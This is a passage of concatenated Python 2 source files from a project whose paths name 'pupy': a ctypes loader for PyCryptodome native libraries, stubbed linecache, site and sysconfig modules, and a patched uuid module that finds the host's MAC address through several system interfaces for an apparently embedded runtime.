    extension_suffixes = machinery.EXTENSION_SUFFIXES

# Which types with buffer interface we support (apart from byte strings)
if sys.version_info[0] == 2 and sys.version_info[1] < 7:
    _buffer_type = (bytearray)
else:
    _buffer_type = (bytearray, memoryview)


null_pointer = None


class _VoidPointer(object):
    @abc.abstractmethod
    def get(self):
        """Return the memory location we point to"""
        return

    @abc.abstractmethod
    def address_of(self):
        """Return a raw pointer to this pointer"""
        return


def load_lib(name, cdecl):
    import platform
    bits, linkage = platform.architecture()
    if "." not in name and not linkage.startswith("Win"):
        full_name = find_library(name)
        if full_name is None:
            raise OSError("Cannot load library '%s'" % name)
        name = full_name
    return CDLL(name)


def get_c_string(c_string):
    return c_string.value

def get_raw_buffer(buf):
    return buf.raw

# ---- Get raw pointer ---

if sys.version_info[0] == 2 and sys.version_info[1] == 6:
    # ctypes in 2.6 does not define c_ssize_t. Replacing it
    # with c_size_t keeps the structure correctely laid out
    _c_ssize_t = c_size_t
else:
    _c_ssize_t = ctypes.c_ssize_t

_PyBUF_SIMPLE = 0
_PyObject_GetBuffer = ctypes.pythonapi.PyObject_GetBuffer
_PyBuffer_Release = ctypes.pythonapi.PyBuffer_Release
_py_object = ctypes.py_object
_c_ssize_p = ctypes.POINTER(_c_ssize_t)


# See Include/object.h for CPython
# and https://github.com/pallets/click/blob/master/click/_winconsole.py
class _Py_buffer(ctypes.Structure):
    _fields_ = [
        ('buf',         c_void_p),
        ('obj',         ctypes.py_object),
        ('len',         _c_ssize_t),
        ('itemsize',    _c_ssize_t),
        ('readonly',    ctypes.c_int),
        ('ndim',        ctypes.c_int),
        ('format',      ctypes.c_char_p),
        ('shape',       _c_ssize_p),
        ('strides',     _c_ssize_p),
        ('suboffsets',  _c_ssize_p),
        ('internal',    c_void_p)
    ]

    # Extra field for CPython 2.6/2.7
    if sys.version_info[0] == 2:
        _fields_.insert(-1, ('smalltable', _c_ssize_t * 2))

def c_uint8_ptr(data):
    if byte_string(data) or isinstance(data, _Array):
        return data
    elif isinstance(data, _buffer_type):
        obj = _py_object(data)
        buf = _Py_buffer()
        _PyObject_GetBuffer(obj, byref(buf), _PyBUF_SIMPLE)
        try:
            buffer_type = c_ubyte * buf.len
            return buffer_type.from_address(buf.buf)
        finally:
            _PyBuffer_Release(byref(buf))
    else:
        raise TypeError("Object type %s cannot be passed to C code" % type(data))

# ---


class VoidPointer_ctypes(_VoidPointer):
    """Model a newly allocated pointer to void"""

    def __init__(self):
        self._p = c_void_p()

    def get(self):
        return self._p

    def address_of(self):
        return byref(self._p)

def VoidPointer():
    return VoidPointer_ctypes()

backend = "ctypes"
del ctypes


class SmartPointer(object):
    """Class to hold a non-managed piece of memory"""

    def __init__(self, raw_pointer, destructor):
        self._raw_pointer = raw_pointer
        self._destructor = destructor

    def get(self):
        return self._raw_pointer

    def release(self):
        rp, self._raw_pointer = self._raw_pointer, None
        return rp

    def __del__(self):
        try:
            if self._raw_pointer is not None:
                self._destructor(self._raw_pointer)
                self._raw_pointer = None
        except AttributeError:
            pass


def load_pycryptodome_raw_lib(name, cdecl):
    """Load a shared library and return a handle to it.

    @name,  the name of the library expressed as a PyCryptodome module,
            for instance Crypto.Cipher._raw_cbc.

    @cdecl, the C function declarations.
    """

    split = name.split(".")
    dir_comps, basename = split[:-1], split[-1]
    attempts = []
    for ext in extension_suffixes:
        try:
            filename = basename + ext
            return load_lib(pycryptodome_filename(dir_comps, filename),
                            cdecl)
        except OSError as exp:
            attempts.append("Trying '%s': %s" % (filename, str(exp)))
    raise OSError("Cannot load native module '%s': %s" % (name, ", ".join(attempts)))


if sys.version_info[:2] != (2, 6):

    def is_buffer(x):
        """Return True if object x supports the buffer interface"""
        return isinstance(x, (bytes, bytearray, memoryview))

    def is_writeable_buffer(x):
        return (isinstance(x, bytearray) or
                (isinstance(x, memoryview) and not x.readonly))

else:

    def is_buffer(x):
        return isinstance(x, (bytes, bytearray))

    def is_writeable_buffer(x):
        return isinstance(x, bytearray)


================================================
FILE: pupy/library_patches_py2/linecache.py
================================================
__all__ = (
    'getline', 'clearcache', 'checkcache', 'getlines'
)

def getline(filename, lineno, module_globals=None):
    return ''


def clearcache():
    pass


def getlines(filename, module_globals=None):
    return []


def checkcache(filename=None):
    pass


def updatecache(filename, module_globals=None):
    pass


================================================
FILE: pupy/library_patches_py2/site.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import sys
import os
import __builtin__

PREFIXES = []
ENABLE_USER_SITE = False
USER_SITE = ''
USER_BASE = ''

def addpackage(sitedir, name, known_paths):
    pass

def addsitedir(sitedir, known_paths=None):
    pass

def check_enableusersite():
    return False

def getuserbase():
    return ''

def getusersitepackages():
    return []

def addusersitepackages(known_paths):
    return []

def getsitepackages():
    return []

def addsitepackages(known_paths):
    return []

def main():
    pass


================================================
FILE: pupy/library_patches_py2/sysconfig.py_old
================================================
import sys
from bundlevars import bundlevars

def parse_config_h(fp, vars=None):
    return {}


def get_config_h_filename():
    return None


def get_scheme_names():
    return tuple()


def get_path_names():
    return tuple()


def get_paths(scheme=None, vars=None, expand=True):
    return tuple()


def get_path(name, scheme=None, vars=None, expand=True):
    return ''


def get_config_vars(*args):
    if not args:
        return dict(bundlevars)

    return {
        k: bundlevars.get(k, None) for k in args
    }


def get_config_var(name):
    return None


def get_platform():
    return sys.platform


def get_python_version():
    return '.'.join(sys.version.split('.', 3)[:2])


================================================
FILE: pupy/library_patches_py2/uuid.py
================================================
r"""UUID objects (universally unique identifiers) according to RFC 4122.

This module provides immutable UUID objects (class UUID) and the functions
uuid1(), uuid3(), uuid4(), uuid5() for generating version 1, 3, 4, and 5
UUIDs as specified in RFC 4122.

If all you want is a unique ID, you should probably call uuid1() or uuid4().
Note that uuid1() may compromise privacy since it creates a UUID containing
the computer's network address.  uuid4() creates a random UUID.

Typical usage:

    >>> import uuid

    # make a UUID based on the host ID and current time
    >>> uuid.uuid1()
    UUID('a8098c1a-f86e-11da-bd1a-00112444be1e')

    # make a UUID using an MD5 hash of a namespace UUID and a name
    >>> uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org')
    UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e')

    # make a random UUID
    >>> uuid.uuid4()
    UUID('16fd2706-8baf-433b-82eb-8c7fada847da')

    # make a UUID using a SHA-1 hash of a namespace UUID and a name
    >>> uuid.uuid5(uuid.NAMESPACE_DNS, 'python.org')
    UUID('886313e1-3b8a-5372-9b90-0c9aee199e5d')

    # make a UUID from a string of hex digits (braces and hyphens ignored)
    >>> x = uuid.UUID('{00010203-0405-0607-0809-0a0b0c0d0e0f}')

    # convert a UUID to a string of hex digits in standard form
    >>> str(x)
    '00010203-0405-0607-0809-0a0b0c0d0e0f'

    # get the raw 16 bytes of the UUID
    >>> x.bytes
    '\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f'

    # make a UUID from a 16-byte string
    >>> uuid.UUID(bytes=x.bytes)
    UUID('00010203-0405-0607-0809-0a0b0c0d0e0f')
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from io import open
from sys import version_info

if version_info.major > 2:
    long = int


__author__ = 'Ka-Ping Yee <ping@zesty.ca>'

RESERVED_NCS, RFC_4122, RESERVED_MICROSOFT, RESERVED_FUTURE = [
    'reserved for NCS compatibility', 'specified in RFC 4122',
    'reserved for Microsoft compatibility', 'reserved for future definition']


class UUID(object):
    """Instances of the UUID class represent UUIDs as specified in RFC 4122.
    UUID objects are immutable, hashable, and usable as dictionary keys.
    Converting a UUID to a string with str() yields something in the form
    '12345678-1234-1234-1234-123456789abc'.  The UUID constructor accepts
    five possible forms: a similar string of hexadecimal digits, or a tuple
    of six integer fields (with 32-bit, 16-bit, 16-bit, 8-bit, 8-bit, and
    48-bit values respectively) as an argument named 'fields', or a string
    of 16 bytes (with all the integer fields in big-endian order) as an
    argument named 'bytes', or a string of 16 bytes (with the first three
    fields in little-endian order) as an argument named 'bytes_le', or a
    single 128-bit integer as an argument named 'int'.

    UUIDs have these read-only attributes:

        bytes       the UUID as a 16-byte string (containing the six
                    integer fields in big-endian byte order)

        bytes_le    the UUID as a 16-byte string (with time_low, time_mid,
                    and time_hi_version in little-endian byte order)

        fields      a tuple of the six integer fields of the UUID,
                    which are also available as six individual attributes
                    and two derived attributes:

            time_low                the first 32 bits of the UUID
            time_mid                the next 16 bits of the UUID
            time_hi_version         the next 16 bits of the UUID
            clock_seq_hi_variant    the next 8 bits of the UUID
            clock_seq_low           the next 8 bits of the UUID
            node                    the last 48 bits of the UUID

            time                    the 60-bit timestamp
            clock_seq               the 14-bit sequence number

        hex         the UUID as a 32-character hexadecimal string

        int         the UUID as a 128-bit integer

        urn         the UUID as a URN as specified in RFC 4122

        variant     the UUID variant (one of the constants RESERVED_NCS,
                    RFC_4122, RESERVED_MICROSOFT, or RESERVED_FUTURE)

        version     the UUID version number (1 through 5, meaningful only
                    when the variant is RFC_4122)
    """

    def __init__(self, hex=None, bytes=None, bytes_le=None, fields=None,
                       int=None, version=None):
        r"""Create a UUID from either a string of 32 hexadecimal digits,
        a string of 16 bytes as the 'bytes' argument, a string of 16 bytes
        in little-endian order as the 'bytes_le' argument, a tuple of six
        integers (32-bit time_low, 16-bit time_mid, 16-bit time_hi_version,
        8-bit clock_seq_hi_variant, 8-bit clock_seq_low, 48-bit node) as
        the 'fields' argument, or a single 128-bit integer as the 'int'
        argument.  When a string of hex digits is given, curly braces,
        hyphens, and a URN prefix are all optional.  For example, these
        expressions all yield the same UUID:

        UUID('{12345678-1234-5678-1234-567812345678}')
        UUID('12345678123456781234567812345678')
        UUID('urn:uuid:12345678-1234-5678-1234-567812345678')
        UUID(bytes='\x12\x34\x56\x78'*4)
        UUID(bytes_le='\x78\x56\x34\x12\x34\x12\x78\x56' +
                      '\x12\x34\x56\x78\x12\x34\x56\x78')
        UUID(fields=(0x12345678, 0x1234, 0x5678, 0x12, 0x34, 0x567812345678))
        UUID(int=0x12345678123456781234567812345678)

        Exactly one of 'hex', 'bytes', 'bytes_le', 'fields', or 'int' must
        be given.  The 'version' argument is optional; if given, the resulting
        UUID will have its variant and version set according to RFC 4122,
        overriding the given 'hex', 'bytes', 'bytes_le', 'fields', or 'int'.
        """

        if [hex, bytes, bytes_le, fields, int].count(None) != 4:
            raise TypeError('need one of hex, bytes, bytes_le, fields, or int')
        if hex is not None:
            hex = hex.replace('urn:', '').replace('uuid:', '')
            hex = hex.strip('{}').replace('-', '')
            if len(hex) != 32:
                raise ValueError('badly formed hexadecimal UUID string')
            int = long(hex, 16)
        if bytes_le is not None:
            if len(bytes_le) != 16:
                raise ValueError('bytes_le is not a 16-char string')
            bytes = (bytes_le[3] + bytes_le[2] + bytes_le[1] + bytes_le[0] +
                     bytes_le[5] + bytes_le[4] + bytes_le[7] + bytes_le[6] +
                     bytes_le[8:])
        if bytes is not None:
            if len(bytes) != 16:
                raise ValueError('bytes is not a 16-char string')
            int = long(('%02x'*16) % tuple(map(ord, bytes)), 16)
        if fields is not None:
            if len(fields) != 6:
                raise ValueError('fields is not a 6-tuple')
            (time_low, time_mid, time_hi_version,
             clock_seq_hi_variant, clock_seq_low, node) = fields
            if not 0 <= time_low < 1<<32:
                raise ValueError('field 1 out of range (need a 32-bit value)')
            if not 0 <= time_mid < 1<<16:
                raise ValueError('field 2 out of range (need a 16-bit value)')
            if not 0 <= time_hi_version < 1<<16:
                raise ValueError('field 3 out of range (need a 16-bit value)')
            if not 0 <= clock_seq_hi_variant < 1<<8:
                raise ValueError('field 4 out of range (need an 8-bit value)')
            if not 0 <= clock_seq_low < 1<<8:
                raise ValueError('field 5 out of range (need an 8-bit value)')
            if not 0 <= node < 1<<48:
                raise ValueError('field 6 out of range (need a 48-bit value)')
            clock_seq = (clock_seq_hi_variant << 8) | clock_seq_low
            int = ((time_low << 96) | (time_mid << 80) |
                   (time_hi_version << 64) | (clock_seq << 48) | node)
        if int is not None:
            if not 0 <= int < 1<<128:
                raise ValueError('int is out of range (need a 128-bit value)')
        if version is not None:
            if not 1 <= version <= 5:
                raise ValueError('illegal version number')
            # Set the variant to RFC 4122.
            int &= ~(0xc000 << 48)
            int |= 0x8000 << 48
            # Set the version number.
            int &= ~(0xf000 << 64)
            int |= version << 76
        self.__dict__['int'] = int

    def __cmp__(self, other):
        if isinstance(other, UUID):
            return cmp(self.int, other.int)
        return NotImplemented

    def __hash__(self):
        return hash(self.int)

    def __int__(self):
        return self.int

    def __repr__(self):
        return 'UUID(%r)' % str(self)

    def __setattr__(self, name, value):
        raise TypeError('UUID objects are immutable')

    def __str__(self):
        hex = '%032x' % self.int
        return '%s-%s-%s-%s-%s' % (
            hex[:8], hex[8:12], hex[12:16], hex[16:20], hex[20:])

    def get_bytes(self):
        bytes = ''
        for shift in range(0, 128, 8):
            bytes = chr((self.int >> shift) & 0xff) + bytes
        return bytes

    bytes = property(get_bytes)

    def get_bytes_le(self):
        bytes = self.bytes
        return (bytes[3] + bytes[2] + bytes[1] + bytes[0] +
                bytes[5] + bytes[4] + bytes[7] + bytes[6] + bytes[8:])

    bytes_le = property(get_bytes_le)

    def get_fields(self):
        return (self.time_low, self.time_mid, self.time_hi_version,
                self.clock_seq_hi_variant, self.clock_seq_low, self.node)

    fields = property(get_fields)

    def get_time_low(self):
        return self.int >> 96

    time_low = property(get_time_low)

    def get_time_mid(self):
        return (self.int >> 80) & 0xffff

    time_mid = property(get_time_mid)

    def get_time_hi_version(self):
        return (self.int >> 64) & 0xffff

    time_hi_version = property(get_time_hi_version)

    def get_clock_seq_hi_variant(self):
        return (self.int >> 56) & 0xff

    clock_seq_hi_variant = property(get_clock_seq_hi_variant)

    def get_clock_seq_low(self):
        return (self.int >> 48) & 0xff

    clock_seq_low = property(get_clock_seq_low)

    def get_time(self):
        return (((self.time_hi_version & 0x0fff) << 48) |
                (self.time_mid << 32) | self.time_low)

    time = property(get_time)

    def get_clock_seq(self):
        return (((self.clock_seq_hi_variant & 0x3f) << 8) |
                self.clock_seq_low)

    clock_seq = property(get_clock_seq)

    def get_node(self):
        return self.int & 0xffffffffffff

    node = property(get_node)

    def get_hex(self):
        return '%032x' % self.int

    hex = property(get_hex)

    def get_urn(self):
        return 'urn:uuid:' + str(self)

    urn = property(get_urn)

    def get_variant(self):
        if not self.int & (0x8000 << 48):
            return RESERVED_NCS
        elif not self.int & (0x4000 << 48):
            return RFC_4122
        elif not self.int & (0x2000 << 48):
            return RESERVED_MICROSOFT
        else:
            return RESERVED_FUTURE

    variant = property(get_variant)

    def get_version(self):
        # The version bits are only meaningful for RFC 4122 UUIDs.
        if self.variant == RFC_4122:
            return int((self.int >> 76) & 0xf)

    version = property(get_version)

def _popen(command, args):
    import os
    path = os.environ.get("PATH", os.defpath).split(os.pathsep)
    path.extend(('/sbin', '/usr/sbin'))
    for dir in path:
        executable = os.path.join(dir, command)
        if (os.path.exists(executable) and
            os.access(executable, os.F_OK | os.X_OK) and
            not os.path.isdir(executable)):
            break
    else:
        return None
    # LC_ALL to ensure English output, 2>/dev/null to prevent output on
    # stderr (Note: we don't have an example where the words we search for
    # are actually localized, but in theory some system could do so.)
    cmd = 'LC_ALL=C %s %s 2>/dev/null' % (executable, args)
    return os.popen(cmd)

def _find_mac(command, args, hw_identifiers, get_index):
    try:
        pipe = _popen(command, args)
        if not pipe:
            return
        with pipe:
            for line in pipe:
                words = line.lower().rstrip().split()
                for i in range(len(words)):
                    if words[i] in hw_identifiers:
                        try:
                            word = words[get_index(i)]
                            mac = int(word.replace(':', ''), 16)
                            if mac:
                                return mac
                        except (ValueError, IndexError):
                            # Virtual interfaces, such as those provided by
                            # VPNs, do not have a colon-delimited MAC address
                            # as expected, but a 16-byte HWAddr separated by
                            # dashes. These should be ignored in favor of a
                            # real MAC address
                            pass
    except IOError:
        pass

def _sysfs_getnode():
    ' Get MAC address from sysfs '

    import os

    try:
        SYSFS_CLASS_NET = '/sys/class/net'

        devices = []
        non_devices = []

        for device in os.listdir(SYSFS_CLASS_NET):
            device = os.path.join(SYSFS_CLASS_NET, device)

            address_node = os.path.join(SYSFS_CLASS_NET, device, 'address')
            device_node = os.path.join(SYSFS_CLASS_NET, device, 'device')
            carrier_node = os.path.join(SYSFS_CLASS_NET, device, 'carrier')
            type_node = os.path.join(SYSFS_CLASS_NET, device, 'type')

            try:
                address = int(open(address_node).read().strip().replace(':', ''), 16)
            except ValueError:
                # Omit interfaces without MAC (virtual tunnels etc)
                continue

            try:
                carrier = int(open(carrier_node).read().strip())
            except IOError:
                carrier = 2

            nettype = int(open(type_node).read().strip())

            # Prioirty have physical devices, then by carrier
            # Then by lowest 3 bytes of MAC address
            weight = ((
                ((nettype << 3) | (1 - carrier)) << 24) | \
                    (address & 0xFFFFFF))

            if os.path.exists(device_node):
                devices.append((address, weight))
            else:
                non_devices.append((address, weight))

        # Order by weight, in case there are several interfaces
        devices = sorted(devices, key=lambda __weight: __weight[1])
        non_devices = sorted(non_devices, key=lambda __weight1: __weight1[1])

        devices.extend(non_devices)
        if devices:
            return devices[0][0]

    except OSError:
        pass

def _ifconfig_getnode():
    """Get the hardware address on Unix by running ifconfig."""
    # This works on Linux ('' or '-a'), Tru64 ('-av'), but not all Unixes.
    for args in ('', '-a', '-av'):
        mac = _find_mac('ifconfig', args, ['hwaddr', 'ether'], lambda i: i+1)
        if mac:
            return mac

def _arp_getnode():
    """Get the hardware address on Unix by running arp."""
    import socket
    try:
        ip_addr = socket.gethostbyname(socket.gethostname())
    except EnvironmentError:
        return None

    # Try getting the MAC addr from arp based on our IP address (Solaris).
    return _find_mac('arp', '-an', [ip_addr], lambda i: -1)

def _lanscan_getnode():
    """Get the hardware address on Unix by running lanscan."""
    # This might work on HP-UX.
    return _find_mac('lanscan', '-ai', ['lan0'], lambda i: 0)

def _netstat_getnode():
    """Get the hardware address on Unix by running netstat."""
    # This might work on AIX, Tru64 UNIX and presumably on IRIX.
    try:
        pipe = _popen('netstat', '-ia')
        if not pipe:
            return
        with pipe:
            words = pipe.readline().rstrip().split()
            try:
                i = words.index('Address')
            except ValueError:
                return
            for line in pipe:
                try:
                    words = line.rstrip().split()
                    word = words[i]
                    if len(word) == 17 and word.count(':') == 5:
                        mac = int(word.replace(':', ''), 16)
                        if mac:
                            return mac
                except (ValueError, IndexError):
                    pass
    except OSError:
        pass

def _ipconfig_getnode():
    """Get the hardware address on Windows by running ipconfig.exe."""

    # First try something like this:
    # http://code.activestate.com/recipes/347812-get-the-mac-address-of-a-remote-computer/
    try:
        import ctypes
        import socket
        import struct

        # Check for api availability
        try:
            SendARP = ctypes.windll.Iphlpapi.SendARP
        except:
            raise NotImplementedError('Usage only on Windows 2000 and above')

        inetaddr = None

        # Try external ip first
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(('8.8.8.8', 53))
            hostip = s.getsockname()[0]
            inetaddr = ctypes.windll.wsock32.inet_addr(hostip)

        except socket.error:
            pass

        finally:
            s.close()

        if inetaddr is None:
            # Doesn't work with loopbacks, but let's try and help.
            host = socket.gethostname()

            # gethostbyname blocks, so use it wisely.
            try:
                inetaddr = ctypes.windll.wsock32.inet_addr(host)
                if inetaddr in (0, -1):
                    raise Exception
            except:
                hostip = socket.gethostbyname(host)
                inetaddr = ctypes.windll.wsock32.inet_addr(hostip)

        buffer = ctypes.c_buffer(6)
        addlen = ctypes.c_ulong(ctypes.sizeof(buffer))
        if SendARP(inetaddr, 0, ctypes.byref(buffer), ctypes.byref(addlen)) != 0:
            raise WindowsError('Retreival of mac address(%s) - failed' % host)

        # Convert binary data into an int.
        return int(''.join("%02x"%(x) for x in struct.unpack('BBBBBB', buffer)), 16)

    except:
        import os
        import re
        dirs = ['', r'c:\windows\system32', r'c:\winnt\system32']
        try:
            import ctypes
            buffer = ctypes.create_string_buffer(300)
            ctypes.windll.kernel32.GetSystemDirectoryA(buffer, 300)
            dirs.insert(0, buffer.value.decode('mbcs'))
        except:
            pass
        for dir in dirs:
            try:
                pipe = os.popen(os.path.join(dir, 'ipconfig') + ' /all')
            except IOError:
                continue
            with pipe:
                for line in pipe:
                    value = line.split(':')[-1].strip().lower()
                    if re.match('([0-9a-f][0-9a-f]-){5}[0-9a-f][0-9a-f]', value):
                        return int(value.replace('-', ''), 16)

def _netbios_getnode():
    """Get the hardware address on Windows using NetBIOS calls.
    See http://support.microsoft.com/kb/118623 for details."""
    import win32wnet
    import netbios
    ncb = netbios.NCB()
    ncb.Command = netbios.NCBENUM
    ncb.Buffer = adapters = netbios.LANA_ENUM()
    adapters._pack()
    if win32wnet.Netbios(ncb) != 0:
        return
    adapters._unpack()
    for i in range(adapters.length):
        ncb.Reset()
        ncb.Command = netbios.NCBRESET
        ncb.Lana_num = ord(adapters.lana[i])
        if win32wnet.Netbios(ncb) != 0:
            continue
        ncb.Reset()
        ncb.Command = netbios.NCBASTAT
        ncb.Lana_num = ord(adapters.lana[i])
        ncb.Callname = '*'.ljust(16)
        ncb.Buffer = status = netbios.ADAPTER_STATUS()
        if win32wnet.Netbios(ncb) != 0:
            continue
        status._unpack()
        bytes = map(ord, status.adapter_address)
        return ((bytes[0]<<40) + (bytes[1]<<32) + (bytes[2]<<24) +
                (bytes[3]<<16) + (bytes[4]<<8) + bytes[5])

# Thanks to Thomas Heller for ctypes and for his help with its use here.

# If ctypes is available, use it to find system routines for UUID generation.
_uuid_generate_random = _uuid_generate_time = _UuidCreate = None
try:
    import os
    import ctypes
    import ctypes.util

    # The uuid_generate_* routines are provided by libuuid on at least
    # Linux and FreeBSD, and provided by libc on Mac OS X.
    if os.name not in ['nt', 'ce']:
        for libname in ['uuid', 'c']:
            try:
                lib = ctypes.CDLL(ctypes.util.find_library(libname))
            except:
                continue
            if hasattr(lib, 'uuid_generate_random'):
                _uuid_generate_random = lib.uuid_generate_random
            if hasattr(lib, 'uuid_generate_time'):
                _uuid_generate_time = lib.uuid_generate_time
                if _uuid_generate_random is not None:
                    break  # found everything we were looking for

    # The uuid_generate_* functions are broken on MacOS X 10.5, as noted
    # in issue #8621 the function generates the same sequence of values
    # in the parent process and all children created using fork (unless
    # those children use exec as well).
    #
    # Assume that the uuid_generate functions are broken from 10.5 onward,
    # the test can be adjusted when a later version is fixed.
    import sys
    if sys.platform == 'darwin':
        import os
        if int(os.uname()[2].split('.')[0]) >= 9:
            _uuid_generate_random = _uuid_generate_time = None

    # On Windows prior to 2000, UuidCreate gives a UUID containing the
    # hardware address.  On Windows 2000 and later, UuidCreate makes a
    # random UUID and UuidCreateSequential gives a UUID containing the
    # hardware address.  These routines are provided by the RPC runtime.
    # NOTE:  at least on Tim's WinXP Pro SP2 desktop box, while the last
    # 6 bytes returned by UuidCreateSequential are fixed, they don't appear
    # to bear any relationship to the MAC address of any network device
    # on the box.
    try:
        lib = ctypes.windll.rpcrt4
    except:
        lib = None
    _UuidCreate = getattr(lib, 'UuidCreateSequential',
                          getattr(lib, 'UuidCreate', None))
except:
    pass

def _unixdll_getnode():
    """Get the hardware address on Unix using ctypes."""
    _buffer = ctypes.create_string_buffer(16)
    _uuid_generate_time(_buffer)
    return UUID(bytes=_buffer.raw).node

def _windll_getnode():
    """Get the hardware address on Windows using ctypes."""
    _buffer = ctypes.create_string_buffer(16)
    if _UuidCreate(_buffer) == 0:
        return UUID(bytes=_buffer.raw).node

def _netiface_getnode():
    from socket import AF_INET, AF_INET6, SOCK_DGRAM, inet_ntop, socket
    from ctypes import (
        Structure, Union, POINTER,
        pointer, get_errno, cast,
        c_ushort, c_byte, c_void_p, c_char_p, c_uint,
        c_uint16, c_uint32, CDLL
    )
    import fcntl
    import struct

    class struct_sockaddr(Structure):
        _fields_ = [
            ('sa_family', c_ushort),
            ('sa_data', c_byte * 14),]

    class struct_sockaddr_in(Structure):
        _fields_ = [
            ('sin_family', c_ushort),
            ('sin_port', c_uint16),
            ('sin_addr', c_byte * 4)]

    class struct_sockaddr_in6(Structure):
        _fields_ = [
            ('sin6_family', c_ushort),
            ('sin6_port', c_uint16),
            ('sin6_flowinfo', c_uint32),
            ('sin6_addr', c_byte * 16),
            ('sin6_scope_id', c_uint32)]

    class union_ifa_ifu(Union):
        _fields_ = [
            ('ifu_broadaddr', POINTER(struct_sockaddr)),
            ('ifu_dstaddr', POINTER(struct_sockaddr)),]

    class struct_ifaddrs(Structure):
        pass

    struct_ifaddrs._fields_ = [
        ('ifa_next', POINTER(struct_ifaddrs)),
        ('ifa_name', c_char_p),
        ('ifa_flags', c_uint),
        ('ifa_addr', POINTER(struct_sockaddr)),
        ('ifa_netmask', POINTER(struct_sockaddr)),
        ('ifa_ifu', union_ifa_ifu),
        ('ifa_data', c_void_p),]

    self_c = CDLL('')

    def ifap_iter(ifap):
        ifa = ifap.contents
        while True:
            yield ifa
            if not ifa.ifa_next:
                break
            ifa = ifa.ifa_next.contents

    def getfamaddr(sa):
        family = sa.sa_family
        addr = None
        if family == AF_INET:
            sa = cast(pointer(sa), POINTER(struct_sockaddr_in)).contents
            addr = inet_ntop(family, sa.sin_addr)
        elif family == AF_INET6:
            sa = cast(pointer(sa), POINTER(struct_sockaddr_in6)).contents
            addr = inet_ntop(family, sa.sin6_addr)
        return family, addr

    class NetworkInterface(object):
        def __init__(self, name):
            self.name = name
            self.addresses = {}

        def __str__(self):
            return "%s [IPv4=%s, IPv6=%s]" % (
                self.name, self.addresses.get(AF_INET),
                self.addresses.get(AF_INET6))

    def get_network_interfaces():
        ifap = POINTER(struct_ifaddrs)()
        result = self_c.getifaddrs(pointer(ifap))
        if result != 0:
            raise OSError(get_errno())

        del result

        try:
            retval = {}
            for ifa in ifap_iter(ifap):
                name = ifa.ifa_name.decode("UTF-8")
                i = retval.get(name)
                if not i:
                    i = retval[name] = NetworkInterface(name)
                family, addr = getfamaddr(ifa.ifa_addr.contents)
                if addr:
                    if family not in i.addresses:
                        i.addresses[family] = list()
                    i.addresses[family].append(addr)

            return retval.values()

        finally:
            self_c.freeifaddrs(ifap)

    s = socket(AF_INET, SOCK_DGRAM)
    try:
        s.connect(('8.8.8.8', 53))
        src_ip = s.getsockname()[0]

        interface_name = None

        for interface in get_network_interfaces():
            for addresses in interface.addresses.values():
                if src_ip in addresses:
                    interface_name = interface.name
                    break

        if interface_name is not None:
            input_buffer = struct.pack('256s', str(interface_name))
            output_buffer = fcntl.ioctl(s.fileno(), 0x8927, input_buffer)
            ether_addr = ''

            for c in output_buffer[18:24]:
                ether_addr = ether_addr + format(ord(c), '02X')

            return int(ether_addr, 16)

    finally:
        s.close()


def _random_getnode():
    """Get a random node ID, with eighth bit set as suggested by RFC 4122."""
    import random
    return random.randrange(0, 1<<48) | 0x010000000000

_node = None

def getnode():
    """Get the hardware address as a 48-bit positive integer.

    The first time this runs, it may launch a separate program, which could
    be quite slow.  If all attempts to obtain the hardware address fail, we
    choose a random 48-bit number with its eighth bit set to 1 as recommended
    in RFC 4122.
    """

    global _node
    if _node is not None:
        return _node

    import sys
    if sys.platform == 'win32':
        getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
    else:
        getters = [
            _sysfs_getnode, _netiface_getnode, _unixdll_getnode,
            _ifconfig_getnode, _arp_getnode,
            _lanscan_getnode, _netstat_getnode
        ]

    for getter in getters + [_random_getnode]:
        try:
            _node = getter()
        except:
            continue
        if _node is not None:
            return _node

_last_timestamp = None

def uuid1(node=None, clock_seq=None):
    """Generate a UUID from a host ID, sequence number, and the current time.
    If 'node' is not given, getnode() is used to obtain the hardware
    address.  If 'clock_seq' is given, it is used as the sequence number;
    otherwise a random 14-bit sequence number is chosen."""

    # When the system provides a version-1 UUID generator, use it (but don't
    # use UuidCreate here because its UUIDs don't conform to RFC 4122).
    if _uuid_generate_time and node is clock_seq is None:
        _buffer = ctypes.create_string_buffer(16)
        _uuid_generate_time(_buffer)
        return UUID(bytes=_buffer.raw)

    global _last_timestamp
    import time
    nanoseconds = int(time.time() * 1e9)
    # 0x01b21dd213814000 is the number of 100-ns intervals between the
    # UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00.
    timestamp = int(nanoseconds//100) + 0x01b21dd213814000
    if _last_timestamp is not None and timestamp <= _last_timestamp:
        timestamp = _last_timestamp + 1
    _last_timestamp = timestamp
    if clock_seq is None:
        import random
        clock_seq = random.randrange(1<<14) # instead of stable storage
    time_low = timestamp & 0xffffffff
    time_mid = (timestamp >> 32) & 0xffff
    time_hi_version = (timestamp >> 48) & 0x0fff
    clock_seq_low = clock_seq & 0xff
    clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
    if node is None:
        node = getnode()
    return UUID(fields=(time_low, time_mid, time_hi_version,
                        clock_seq_hi_variant, clock_seq_low, node), version=1)

def uuid3(namespace, name):
    """Generate a UUID from the MD5 hash of a namespace UUID and a name."""
    from hashlib import md5
    hash = md5(namespace.bytes + name).digest()
    return UUID(bytes=hash[:16], version=3)

def uuid4():
    """Generate a random UUID."""

    # When the system provides a version-4 UUID generator, use it.
    if _uuid_generate_random:
        _buffer = ctypes.create_string_buffer(16)
        _uuid_generate_random(_buffer)
        return UUID(bytes=_buffer.raw)

    # Otherwise, get randomness from urandom or the 'random' module.
    try:
        import os
        return UUID(bytes=os.urandom(16), version=4)
    except:
        import random
        bytes = [chr(random.randrange(256)) for i in range(16)]
        return UUID(bytes=bytes, version=4)

def uuid5(namespace, name):
    """Generate a UUID from the SHA-1 hash of a namespace UUID and a name."""
    from hashlib import sha1
    hash = sha1(namespace.bytes + name).digest()
    return UUID(bytes=hash[:16], version=5)

# The following standard UUIDs are for use with uuid3() or uuid5().

NAMESPACE_DNS = UUID('6ba7b810-9dad-11d1-80b4-00c04fd430c8')
